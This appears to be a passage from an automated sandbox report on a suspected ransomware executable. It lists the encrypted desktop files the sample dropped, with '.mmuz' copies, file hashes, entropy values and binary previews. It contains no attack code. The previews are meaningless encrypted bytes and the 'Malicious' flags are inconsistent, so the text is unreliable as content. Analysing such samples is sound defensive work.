...`\...<N]B.b$.#..`...E"..7&.....,......W&.?kE....C..\|......:6....jgaS.Fr......I8z.~..a..K.t5.I.>..:."..8..oR...NY...x*....K....X...r...q......$V.K..........3I.....;.$.Sr..F.R;.D.2..y...T.a!.....E1...J..h.8.'X.q.I^......c2[=.Xt.^$.%l,..Oi#.....zPA......].....wx...._A...c

C:\Users\user\Desktop\GAOBCVIQIJ.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847015298576088
Encrypted:	false
SSDEEP:	24:XDi95r/ERR9tvGilOro+lKBItbb5r9Addx0ZmFx3XPN/9WVMAV2j8onXxYk5kZxL:TiLr/+7VD+oIBN9AnF5XP3WhV2nXxD5C
MD5:	F514382F502BE97FBE14B8F10E146FE7
SHA1:	11CA34DE7849295132362586B03000226563D197
SHA-256:	EC024A35A487FFAD04FBB38C288BE0A57A11C6A538316F121A4805E5C117F751
SHA-512:	9B88C3C996C550A33DCB55BEE1E64F0E792EFCA62A0AB415965444FBF9AFD7A0B3DC5649420EFCB7078A54EA419CE61BC2B8D36A54968C441BC2D07CD3B1B8D9
Malicious:	false
Preview:	GAOBCB.m.`...-md.......+....~..S'y...@.)<.......7..}........=..j...<#}.`..).Q.<{..$c.\@.....42.DE.h..F..\`)@L)....l.....simr..../M....K..bw:.;....tG..{..y.QL\|H.q8G......F%.,..#.Fi$E..p.4.a.@.9...l..z...t..2.2.....b...1.."..kg.%.....J......E..>O...$G.....a.!....H..~.V.p.J./.".=.......Ll.....T........`:.xT.....ah.d...K..av.......K.H'S ...?..7...... b...1d........1...#d0..H.k.KY.........,~`!....g.Bx_G0.R....e.qS...p.....P.....[..'.DV.$..........E[..cG.E5..E....&(.....-.....F.....E....L.f...5..50..\O........."q......=..}..).rS1........D[.oA.Km> 7j.......,.....D....T2L..$.A...k.uaa..k...J....v.....2jZW.:.T.@....MU..b.-.\|2.R.).....g\|R...J8.[..8.HFw@./...v.=.A..Z..v$..d) ...`\...<N]B.b$.#..`...E"..7&.....,......W&.?kE....C..\|......:6....jgaS.Fr......I8z.~..a..K.t5.I.>..:."..8..oR...NY...x*....K....X...r...q......$V.K..........3I.....;.$.Sr..F.R;.D.2..y...T.a!.....E1...J..h.8.'X.q.I^......c2[=.Xt.^$.%l,..Oi#.....zPA......].....wx...._A...c

C:\Users\user\Desktop\GAOBCVIQIJ.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853412233307995
Encrypted:	false
SSDEEP:	24:/wP8Q8ZO6osO8s8L0Xu9zD7cc+AGD8JbQmlhrfZqKF4Z7GjdEOvcgksL3llkbD:/5XPQu9vwmIvc1vcgk4+D
MD5:	9CAE4131118EEA188FD627B939CF74C1
SHA1:	A03E55BD2DBF04F97073210B952CF6FE663FD7D6
SHA-256:	51A387A5FCFF003B0F6D824A3CBDF97B90B3756D70B41436E58E8183379CAC6F
SHA-512:	96651A80D2FC2D5E0C9F943B1E8508B1A82015F3D6BDDBD88C634543975DF5CCEF92A059F065086C25067F654616D9E2852565471EDE407FDBE2B135F290A9A3
Malicious:	false
Preview:	GAOBC-..`..m).x...tw..;T....P.6.......7R.;......hL..;..qx.....2...O...z..OX...YEf~...C.Urz....S...}Kz....o^...,Ic.....4.y.D.~.1.p<..Y..../...9..qt6....QS.nJ=..$...W.9..sH..k.m..'j....$=U..7C".7......-.DL..I...%....<.......8.........._M+...;.+h6..p.DB..g..=..M...j._..6.,..F%1.'@@..@.vI.P.....hG....5..=.."oT..H:c...H...T..i.$.de.........O0.9...f....{.k.[....8....{"B...".....B.@k..S...U...m-..l...?DF......!.A.n..Fr.Z.....k1@C../7/......4x..........<`2..M..:.....).]...I..q.U.3Y._..R..K.M{..7..~...E..=.>.7O..}PH.....Df6.i.......q.^.}2...E...\......"t.-.Nr~x~......$...US.V.=.q'w.^.-.Ju,......_..e.R.t@.#.0\.6.<...~...I,...yh.A..3z....pS..F.].....7~.QK.9ly...._...J5.Y.l.r..1,..^w..~.BW\.-..i..:..!...XL..+.J..aFk....5t-.Y...k.G..x....P..x..&..I[>.B...9Ay..ur....`.Q'/i4.-.E.V.h....A.7h.w..{.J......Vi...k...I.{.....9e.......p.'^..Q..hmx..,O).d.E.B...%iO&..A.9.ZCx....V.J<p....V..;.RP..._.............i.\|5SHu.....e_...y8.........w.]...

C:\Users\user\Desktop\GAOBCVIQIJ.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853412233307995
Encrypted:	false
SSDEEP:	24:/wP8Q8ZO6osO8s8L0Xu9zD7cc+AGD8JbQmlhrfZqKF4Z7GjdEOvcgksL3llkbD:/5XPQu9vwmIvc1vcgk4+D
MD5:	9CAE4131118EEA188FD627B939CF74C1
SHA1:	A03E55BD2DBF04F97073210B952CF6FE663FD7D6
SHA-256:	51A387A5FCFF003B0F6D824A3CBDF97B90B3756D70B41436E58E8183379CAC6F
SHA-512:	96651A80D2FC2D5E0C9F943B1E8508B1A82015F3D6BDDBD88C634543975DF5CCEF92A059F065086C25067F654616D9E2852565471EDE407FDBE2B135F290A9A3
Malicious:	false
Preview:	GAOBC-..`..m).x...tw..;T....P.6.......7R.;......hL..;..qx.....2...O...z..OX...YEf~...C.Urz....S...}Kz....o^...,Ic.....4.y.D.~.1.p<..Y..../...9..qt6....QS.nJ=..$...W.9..sH..k.m..'j....$=U..7C".7......-.DL..I...%....<.......8.........._M+...;.+h6..p.DB..g..=..M...j._..6.,..F%1.'@@..@.vI.P.....hG....5..=.."oT..H:c...H...T..i.$.de.........O0.9...f....{.k.[....8....{"B...".....B.@k..S...U...m-..l...?DF......!.A.n..Fr.Z.....k1@C../7/......4x..........<`2..M..:.....).]...I..q.U.3Y._..R..K.M{..7..~...E..=.>.7O..}PH.....Df6.i.......q.^.}2...E...\......"t.-.Nr~x~......$...US.V.=.q'w.^.-.Ju,......_..e.R.t@.#.0\.6.<...~...I,...yh.A..3z....pS..F.].....7~.QK.9ly...._...J5.Y.l.r..1,..^w..~.BW\.-..i..:..!...XL..+.J..aFk....5t-.Y...k.G..x....P..x..&..I[>.B...9Ay..ur....`.Q'/i4.-.E.V.h....A.7h.w..{.J......Vi...k...I.{.....9e.......p.'^..Q..hmx..,O).d.E.B...%iO&..A.9.ZCx....V.J<p....V..;.RP..._.............i.\|5SHu.....e_...y8.........w.]...

C:\Users\user\Desktop\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8812586219154905
Encrypted:	false
SSDEEP:	24:kcGdnVtZ5UEJguKIyZw+TW3FLsdfZ4ESGizbxq8vs8oXYIs7kbD:6dnVlWISTXdf7jiz159GlsKD
MD5:	2A16B41C7FEA2CD3814D8252D0FF366F
SHA1:	933AEC647408652FA7A6E1A67E733D1AE91D69DE
SHA-256:	74215B647A32C31B3B64E11ADFE376ED29CAD3172D86CAB1C6B9E6757C15C756
SHA-512:	2F6C063C8BB8F468CAB4663D6869194157F5A56CA0F9D68F31D79AF2132DC659F18CFB6352D3F549B9C226511A7F806BCE81B50E14F751A7441C950E9A1E996B
Malicious:	false
Preview:	IPKGE&...7:;..3.f4.yT..^..=..Y...{...~.....x..<..P.....\.b.S~....e<..j%.sv)./g..#a.?..S.B"]....\|..z#.-..Z..n.......f.[....M.G..........7(5...L.4.>..h....".........\|.t$.....T.h...8.. ......Q..o...}.....Y..1.ZV.,.KHU....23..u.r...X.!(,.....?...~..hK`.v.......i...c..2.k.!l..._n..K(..g.s.k...#..OG....b..6W.....!.vr..d.Ll.g..f.s....f....$. ...S....W..`.....#.]...=.....+o.u..t.0n;{......czF...}.. .M......@f.1..5.....o..Mw{".f.._i..k..t...~....V..G_..>..C...F1.9...3."...y+...]......p....z.p....s.}mKAb..b...b.v\.A/..#....t..M...=...."L,....H.Q.y..:..lIL.m...h....>..:...6..!..S..J}.\..E...6[.-.t..i.....,i.......e.S..`...E.C.u.37...F......Dj.p...0@-..{..>!Z.8.....+D.....7.o..>V..-m.}.^s.F...... O...L.]..o..:.q/.)h.4...bJg.?=...........a.Jp.B...N...%..d*...8'...3rs..v..q.sRwc..>.p8W......o{_i/.K..<[.....smq../...C3........0.w.$...8.\.}.m......T.g..M..@VW........JZ.L.JN5[.Bn..az)<.Ep.@..D ...%...[J4...O.S,..q.\|..1...`..J<......."R..!.&$..h[^..

C:\Users\user\Desktop\IPKGELNTQY.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8812586219154905
Encrypted:	false
SSDEEP:	24:kcGdnVtZ5UEJguKIyZw+TW3FLsdfZ4ESGizbxq8vs8oXYIs7kbD:6dnVlWISTXdf7jiz159GlsKD
MD5:	2A16B41C7FEA2CD3814D8252D0FF366F
SHA1:	933AEC647408652FA7A6E1A67E733D1AE91D69DE
SHA-256:	74215B647A32C31B3B64E11ADFE376ED29CAD3172D86CAB1C6B9E6757C15C756
SHA-512:	2F6C063C8BB8F468CAB4663D6869194157F5A56CA0F9D68F31D79AF2132DC659F18CFB6352D3F549B9C226511A7F806BCE81B50E14F751A7441C950E9A1E996B
Malicious:	false
Preview:	IPKGE&...7:;..3.f4.yT..^..=..Y...{...~.....x..<..P.....\.b.S~....e<..j%.sv)./g..#a.?..S.B"]....\|..z#.-..Z..n.......f.[....M.G..........7(5...L.4.>..h....".........\|.t$.....T.h...8.. ......Q..o...}.....Y..1.ZV.,.KHU....23..u.r...X.!(,.....?...~..hK`.v.......i...c..2.k.!l..._n..K(..g.s.k...#..OG....b..6W.....!.vr..d.Ll.g..f.s....f....$. ...S....W..`.....#.]...=.....+o.u..t.0n;{......czF...}.. .M......@f.1..5.....o..Mw{".f.._i..k..t...~....V..G_..>..C...F1.9...3."...y+...]......p....z.p....s.}mKAb..b...b.v\.A/..#....t..M...=...."L,....H.Q.y..:..lIL.m...h....>..:...6..!..S..J}.\..E...6[.-.t..i.....,i.......e.S..`...E.C.u.37...F......Dj.p...0@-..{..>!Z.8.....+D.....7.o..>V..-m.}.^s.F...... O...L.]..o..:.q/.)h.4...bJg.?=...........a.Jp.B...N...%..d*...8'...3rs..v..q.sRwc..>.p8W......o{_i/.K..<[.....smq../...C3........0.w.$...8.\.}.m......T.g..M..@VW........JZ.L.JN5[.Bn..az)<.Ep.@..D ...%...[J4...O.S,..q.\|..1...`..J<......."R..!.&$..h[^..

C:\Users\user\Desktop\IPKGELNTQY.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858661131079796
Encrypted:	false
SSDEEP:	24:uptp7AVfVZ03milgUzRokBGrGQj+llF0ZGwuVmXevIkbD:upHAVUmG69HjqsHXedD
MD5:	BEA1B5488646EA066B304F33B12A7B24
SHA1:	23E34E36CA2AFDEB14A1E68D771BE38B3BCC1FF4
SHA-256:	52BE08FF15ADF96C6E5BFF9BC6024C66308EC347DFF44250032C965A0F83CDE1
SHA-512:	9701B6E00E0BE8A2C6A51EF7B20647AC458D5903FC2A53D5A707099E7C2C1A5DB7F4EE38801F4A32F5F54A4DE7E8656C79562195B08AF7508F9DA2DE970807A5
Malicious:	true
Preview:	IPKGE/..zn..n(=a.1z.r.Ix...YQ.z....l..![....'.oZ.wDq........._.=\......!\..2.O==.M.Ii.....0.z.....6....P...[.0.Cg4f..._...!..#...y..{.......#Yd...g<M..c...K"w.............I....-.K...?. .h..dR..nu'MH.Z..;...B......4CG....2].^A......$p ...........N...v.R..du.F<.....T^c...v>o)..A....}.W...H..!..9..yO..zO........K.=..~p...s..W..^.39..]<.o..u...-.....^i.Rz...K\..WK$..mR.!o'x.j..3..fe....x... ._@..~.D.....U3Q.}..f...&...f.......@..IZgd..Lm.H....H.~..W"..R.n..S.F..?T............wn...9W.......i.r.v.6o.:G.&.g....NW.t%/R..Q....9........)@H$.s.MEn.....g.Q.G..X_......1;...y.S{;7.`..9.....oN....A.)..:.O.8..".eO...a...Q..ht......k.....J.i..8.Qb.. ...k.0.m...C.#..j...J.h......./...A.B.......Y....._'..l._.!..;.H..F.;.G...M.D.Y.3"..O.............LG...Z`F1..uAZxa.g.{..x..z...?<U..9..8.........P..1.29&o\|3..<..5z.Z..e.7(G.#....@......&........u/...4.o.7D2....(F.r....S.Uv.#..v..w.A..t.Gy}...p...H.....c.u5...\|..*.Zr.>N.X\

C:\Users\user\Desktop\IPKGELNTQY.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858661131079796
Encrypted:	false
SSDEEP:	24:uptp7AVfVZ03milgUzRokBGrGQj+llF0ZGwuVmXevIkbD:upHAVUmG69HjqsHXedD
MD5:	BEA1B5488646EA066B304F33B12A7B24
SHA1:	23E34E36CA2AFDEB14A1E68D771BE38B3BCC1FF4
SHA-256:	52BE08FF15ADF96C6E5BFF9BC6024C66308EC347DFF44250032C965A0F83CDE1
SHA-512:	9701B6E00E0BE8A2C6A51EF7B20647AC458D5903FC2A53D5A707099E7C2C1A5DB7F4EE38801F4A32F5F54A4DE7E8656C79562195B08AF7508F9DA2DE970807A5
Malicious:	false
Preview:	IPKGE/..zn..n(=a.1z.r.Ix...YQ.z....l..![....'.oZ.wDq........._.=\......!\..2.O==.M.Ii.....0.z.....6....P...[.0.Cg4f..._...!..#...y..{.......#Yd...g<M..c...K"w.............I....-.K...?. .h..dR..nu'MH.Z..;...B......4CG....2].^A......$p ...........N...v.R..du.F<.....T^c...v>o)..A....}.W...H..!..9..yO..zO........K.=..~p...s..W..^.39..]<.o..u...-.....^i.Rz...K\..WK$..mR.!o'x.j..3..fe....x... ._@..~.D.....U3Q.}..f...&...f.......@..IZgd..Lm.H....H.~..W"..R.n..S.F..?T............wn...9W.......i.r.v.6o.:G.&.g....NW.t%/R..Q....9........)@H$.s.MEn.....g.Q.G..X_......1;...y.S{;7.`..9.....oN....A.)..:.O.8..".eO...a...Q..ht......k.....J.i..8.Qb.. ...k.0.m...C.#..j...J.h......./...A.B.......Y....._'..l._.!..;.H..F.;.G...M.D.Y.3"..O.............LG...Z`F1..uAZxa.g.{..x..z...?<U..9..8.........P..1.29&o\|3..<..5z.Z..e.7(G.#....@......&........u/...4.o.7D2....(F.r....S.Uv.#..v..w.A..t.Gy}...p...H.....c.u5...\|..*.Zr.>N.X\

C:\Users\user\Desktop\IPKGELNTQY\BNAGMGSPLO.mp3

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.820476151432821
Encrypted:	false
SSDEEP:	24:7BqATlJsdt/f431SIoo6HIFeZLMCgCX8K2/V7HALl5Z7lSAWANX9ikDkbD:FqA+t/f48IeOqP/HY6hzjX9wD
MD5:	0BD8631EDB8B79D5B67635C7BA20A281
SHA1:	141FA051B315F1DB57A22012B267C658586AA624
SHA-256:	EABE78482DB2B205F3004D6C14167EA631D08BE093A486619E5874E1FBB12269
SHA-512:	781D49A8D281CAF029CCFBA78233DAE01128DFD9B31325C861EA07551C858B2DB44BED8C7759A9FFF9261AFD0E404318EDF8A7C13C31008D8F5E7ED4637C2E23
Malicious:	false
Preview:	BNAGMq.6?.9S.r..E.2..~...w...S4....j....3...F@v.b.M....u..q.8.w{m.U BT..a.5........W=...".f...5<U....U+.0......:$.Wi{.-..{0.].h..!.....H).r..YX.9B.Fi..z..8....I.....&B.1...j...[..e......#0@N..'v...m......"H9.....S....C.+g .>.....$.1t...U...'....\.(..P?.u.8.G..s.!..19.)..kY...\..s=u.T...zF....@)5.G...........(T.1.o.MfH.-B................V..e.7.V..``^d.:..EQj......V...BM...9..F.s.H2.<2@0&.h......4.5..L.W;.27..i..r{d....xG.!.x..%2"..m.ZO..hU..(6..s...d`.....`.BfL..b.K......P'..x.4]U..du.^..l.3O.B`+....4]...t.U....{..5..@..9%.2w.p.G.A..15...w..N{...\|.E.>.a....a2..4...&:l....{_..P....\A.^K~)bI...A...6@.^e..'a...6..=.....!.H.;}..;A...;..Ms......B...._..3.fV.\..../5.O..^.R..!.....n........V.$t..H...VX......?f..X.dX..=..~V..A...V.......{ 3...%.?L..Af.\.T.50......*......7...\|...#V...R.M.....p........dGh$.G`....]-.q..y..!..Qw.....<o.....X)...6\|....Q...)....D[\.p..>.1.......d.........._.gZu.5..L...;...T.....3.LR6......N..s.......sP.eN.+j...r.....b...`^

C:\Users\user\Desktop\IPKGELNTQY\BNAGMGSPLO.mp3.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.820476151432821
Encrypted:	false
SSDEEP:	24:7BqATlJsdt/f431SIoo6HIFeZLMCgCX8K2/V7HALl5Z7lSAWANX9ikDkbD:FqA+t/f48IeOqP/HY6hzjX9wD
MD5:	0BD8631EDB8B79D5B67635C7BA20A281
SHA1:	141FA051B315F1DB57A22012B267C658586AA624
SHA-256:	EABE78482DB2B205F3004D6C14167EA631D08BE093A486619E5874E1FBB12269
SHA-512:	781D49A8D281CAF029CCFBA78233DAE01128DFD9B31325C861EA07551C858B2DB44BED8C7759A9FFF9261AFD0E404318EDF8A7C13C31008D8F5E7ED4637C2E23
Malicious:	false
Preview:	BNAGMq.6?.9S.r..E.2..~...w...S4....j....3...F@v.b.M....u..q.8.w{m.U BT..a.5........W=...".f...5<U....U+.0......:$.Wi{.-..{0.].h..!.....H).r..YX.9B.Fi..z..8....I.....&B.1...j...[..e......#0@N..'v...m......"H9.....S....C.+g .>.....$.1t...U...'....\.(..P?.u.8.G..s.!..19.)..kY...\..s=u.T...zF....@)5.G...........(T.1.o.MfH.-B................V..e.7.V..``^d.:..EQj......V...BM...9..F.s.H2.<2@0&.h......4.5..L.W;.27..i..r{d....xG.!.x..%2"..m.ZO..hU..(6..s...d`.....`.BfL..b.K......P'..x.4]U..du.^..l.3O.B`+....4]...t.U....{..5..@..9%.2w.p.G.A..15...w..N{...\|.E.>.a....a2..4...&:l....{_..P....\A.^K~)bI...A...6@.^e..'a...6..=.....!.H.;}..;A...;..Ms......B...._..3.fV.\..../5.O..^.R..!.....n........V.$t..H...VX......?f..X.dX..=..~V..A...V.......{ 3...%.?L..Af.\.T.50......*......7...\|...#V...R.M.....p........dGh$.G`....]-.q..y..!..Qw.....<o.....X)...6\|....Q...)....D[\.p..>.1.......d.........._.gZu.5..L...;...T.....3.LR6......N..s.......sP.eN.+j...r.....b...`^

C:\Users\user\Desktop\IPKGELNTQY\GAOBCVIQIJ.pdf

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863456528048342
Encrypted:	false
SSDEEP:	24:vxDKglGubXG5YOx1WzOXidfFG5ctExLY8IxGxz+fssuPFudoGEH2xMRZSkbD:JHjrqTrWzLFGctExL4xm2K4xMRJD
MD5:	B6177B3175B5C7313DEFB4CD8FE387C9
SHA1:	FA837BBCE813FBDFC64D228452720A8C953EEAA4
SHA-256:	715306949FB2A3F2DD67D09E3D1EC8AAE4D4681A0635A4A625A4A4176312341C
SHA-512:	5D57970F0234541E305F2007C3BCA3815AEED3BB6C5809C7BD251070F4F6E8874F3C990534A4FED54CB76A3B9C2C50CBD4CC300EB4A6AF4F03340317AFB4A5F7
Malicious:	false
Preview:	GAOBC.<...?!..w........}....9.c]Jw..X...R.k.sLT.L=....B\y.f)..<].....%....AN.W..{@..X.qA...A.n..X;...z.0Z..g#&.m4.g..GG=x..[..0..U..~.....iy..S..Z.?.Q....u...X..H..x......!......7.J..}...`....lR =.tK.}.....2...o@..rJ....ie.P.O......:J.H.7.....B.o`.C.<h#m^.yK.^bRr9o{A...4.d./JJ...f..oX...D.;.l..v.I"..dW.K..."I%.)V#..-q,.D.n}.Q..>.."C']4(..v.J.........$.....LK.....+..Ny...j.......l_n....H....gh(.6....a.\N.q...o.r.h@.lgtu.......^b..E"...\..M..J...J.b....bu?....}qp[Rf....b.5...".rf....E.T....xY.Bf.z]).A.#U..y..X.Fu.g(.wO.#.2..%Jd.$.e.C.v....b&D..O.U....^.ks..k..F+/.f..d..\HN"x/..`.S....GN../...(...jz.)`...SqQ[=%...bR...........G?....P.6\|+.....~.w.J.....O3..B.)..0.......M.....5X.....'......."I..8.N.[...@t..J...F.:g..A.u....h.....*..P..>..+nW^b.L`. .x...v..T.....B%Z_..S...J.DkIV.).h..;.x....h.#..,...IM$.7vT..<. V.v.g..K"5..UX."....1.Y.8P..M.2...fz...&....P.._h..ibl.q.#....CG.....{~.1....J.C...O...T8..M....rAEO....X.a..qe.85bY0.4....W8..Jn.....[

C:\Users\user\Desktop\IPKGELNTQY\GAOBCVIQIJ.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863456528048342
Encrypted:	false
SSDEEP:	24:vxDKglGubXG5YOx1WzOXidfFG5ctExLY8IxGxz+fssuPFudoGEH2xMRZSkbD:JHjrqTrWzLFGctExL4xm2K4xMRJD
MD5:	B6177B3175B5C7313DEFB4CD8FE387C9
SHA1:	FA837BBCE813FBDFC64D228452720A8C953EEAA4
SHA-256:	715306949FB2A3F2DD67D09E3D1EC8AAE4D4681A0635A4A625A4A4176312341C
SHA-512:	5D57970F0234541E305F2007C3BCA3815AEED3BB6C5809C7BD251070F4F6E8874F3C990534A4FED54CB76A3B9C2C50CBD4CC300EB4A6AF4F03340317AFB4A5F7
Malicious:	false
Preview:	GAOBC.<...?!..w........}....9.c]Jw..X...R.k.sLT.L=....B\y.f)..<].....%....AN.W..{@..X.qA...A.n..X;...z.0Z..g#&.m4.g..GG=x..[..0..U..~.....iy..S..Z.?.Q....u...X..H..x......!......7.J..}...`....lR =.tK.}.....2...o@..rJ....ie.P.O......:J.H.7.....B.o`.C.<h#m^.yK.^bRr9o{A...4.d./JJ...f..oX...D.;.l..v.I"..dW.K..."I%.)V#..-q,.D.n}.Q..>.."C']4(..v.J.........$.....LK.....+..Ny...j.......l_n....H....gh(.6....a.\N.q...o.r.h@.lgtu.......^b..E"...\..M..J...J.b....bu?....}qp[Rf....b.5...".rf....E.T....xY.Bf.z]).A.#U..y..X.Fu.g(.wO.#.2..%Jd.$.e.C.v....b&D..O.U....^.ks..k..F+/.f..d..\HN"x/..`.S....GN../...(...jz.)`...SqQ[=%...bR...........G?....P.6\|+.....~.w.J.....O3..B.)..0.......M.....5X.....'......."I..8.N.[...@t..J...F.:g..A.u....h.....*..P..>..+nW^b.L`. .x...v..T.....B%Z_..S...J.DkIV.).h..;.x....h.#..,...IM$.7vT..<. V.v.g..K"5..UX."....1.Y.8P..M.2...fz...&....P.._h..ibl.q.#....CG.....{~.1....J.C...O...T8..M....rAEO....X.a..qe.85bY0.4....W8..Jn.....[

C:\Users\user\Desktop\IPKGELNTQY\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837236835414521
Encrypted:	false
SSDEEP:	24:UP/PuHf2AKeB5G7S0l7tgTqwShy2DX0UFWYZy/i54T97x7aWNIkbD:UPOOveBwdl7tzr4vM4Tv7vD
MD5:	ECFDFB44217F5A831D49ED6686EAA119
SHA1:	F3492DA93A952E46258CBE6FCC53F1B9DAE418F1
SHA-256:	5CF72A7D2AF40860BA3851D8446ABD49279325BA2F6D952DD30EDCF2D5A13189
SHA-512:	7605E811B25AB0CCF0A57AE25C36128FA8C67AAB1BCB3C9EFD961A7AB9B859E90D029D39BA951EEB025354746DEA410E43D79CA09B590D7F009A10B1F1869A2F
Malicious:	false
Preview:	IPKGE.....=z..G...rO.e....."%..9.\|...H..]3..v.;Z..X.b\...0.%<e.(....>.f..e.....f.....q..{lyEfL;..P..3e..'..%.^.).[...V..4W...kQ.d..f&c....K..4...lj...oA..)..W<.....V.z.^.. .v..V.....x.j.C.....M.j...=.... m.a3$.8j9V9..i.......o.g.$o...N%..........z..Le.!..w#..V......g........Q.,........J....... .\|N....b.?.w...._1Zs...i.f0......D..>M..:J....`:..]....l..2..K.......(H...o....EU...V.D.;.^.r..1...w...0......KQ....m..d.Z...-..'}..U.....V....l&....=....t.."....1..q<...H.....6Z.J..&.=...9.f.d...e..&YZ'W.`1..Oi..MksmU.].....P....#.............pO...E.[.v....N...m.1...?.<t......+e.....!i...D.....i[....n..2.....O.h.._.....V..@~E6.&..Hn...T/.....r+....mP.u./U../.....>... ....;.5G..=k..~n.)*.6.H..+j. .\|.W.......-..Q....q.3..>C#.s..N^.j..r-.F...M#..fj&R.r!....4viV.i.Qb.n...2.L.. Df...$O>..m...k.!7...Z`.0.Y.sX.Px..=K.b......4.>Y.......1Jc.Sz.....U..c..<5..:.t.......3......Y=b.<..A......)..$\|..._.'N.~...s..-(.\|..B`..(..,..E...k".he.........I4O...Wb...~/.d...Nw.

C:\Users\user\Desktop\IPKGELNTQY\IPKGELNTQY.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837236835414521
Encrypted:	false
SSDEEP:	24:UP/PuHf2AKeB5G7S0l7tgTqwShy2DX0UFWYZy/i54T97x7aWNIkbD:UPOOveBwdl7tzr4vM4Tv7vD
MD5:	ECFDFB44217F5A831D49ED6686EAA119
SHA1:	F3492DA93A952E46258CBE6FCC53F1B9DAE418F1
SHA-256:	5CF72A7D2AF40860BA3851D8446ABD49279325BA2F6D952DD30EDCF2D5A13189
SHA-512:	7605E811B25AB0CCF0A57AE25C36128FA8C67AAB1BCB3C9EFD961A7AB9B859E90D029D39BA951EEB025354746DEA410E43D79CA09B590D7F009A10B1F1869A2F
Malicious:	false
Preview:	IPKGE.....=z..G...rO.e....."%..9.\|...H..]3..v.;Z..X.b\...0.%<e.(....>.f..e.....f.....q..{lyEfL;..P..3e..'..%.^.).[...V..4W...kQ.d..f&c....K..4...lj...oA..)..W<.....V.z.^.. .v..V.....x.j.C.....M.j...=.... m.a3$.8j9V9..i.......o.g.$o...N%..........z..Le.!..w#..V......g........Q.,........J....... .\|N....b.?.w...._1Zs...i.f0......D..>M..:J....`:..]....l..2..K.......(H...o....EU...V.D.;.^.r..1...w...0......KQ....m..d.Z...-..'}..U.....V....l&....=....t.."....1..q<...H.....6Z.J..&.=...9.f.d...e..&YZ'W.`1..Oi..MksmU.].....P....#.............pO...E.[.v....N...m.1...?.<t......+e.....!i...D.....i[....n..2.....O.h.._.....V..@~E6.&..Hn...T/.....r+....mP.u./U../.....>... ....;.5G..=k..~n.)*.6.H..+j. .\|.W.......-..Q....q.3..>C#.s..N^.j..r-.F...M#..fj&R.r!....4viV.i.Qb.n...2.L.. Df...$O>..m...k.!7...Z`.0.Y.sX.Px..=K.b......4.>Y.......1Jc.Sz.....U..c..<5..:.t.......3......Y=b.<..A......)..$\|..._.'N.~...s..-(.\|..B`..(..,..E...k".he.........I4O...Wb...~/.d...Nw.

C:\Users\user\Desktop\IPKGELNTQY\LSBIHQFDVT.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821484609238458
Encrypted:	false
SSDEEP:	24:K3Svuc/aCmQUuvTS+I/Mmapo/zMx9cwk6onhvBRPkT0KDFQqkEPhRPc+9D60Tssa:KSD/aMviapo/zMxawk6eryLrfxTssNcD
MD5:	4B6BCBBCF2738EC9A651A6201BCF0100
SHA1:	8A4AF28C46B4E13C12AF6D1D6C42A582DA06B1AE
SHA-256:	F9F65528F8FCB13588D26039FC6CD05DDDEDA00FDE3976BAD6CC89564645C5A1
SHA-512:	C102B308803FED9143F73FF0AAB2F03994CE24C4DE48F099C07F69E8834A6D9560B368A05B18A34412D01323BD0B4033D6BD240D32F7655EA9F9482BBB1741BF
Malicious:	false
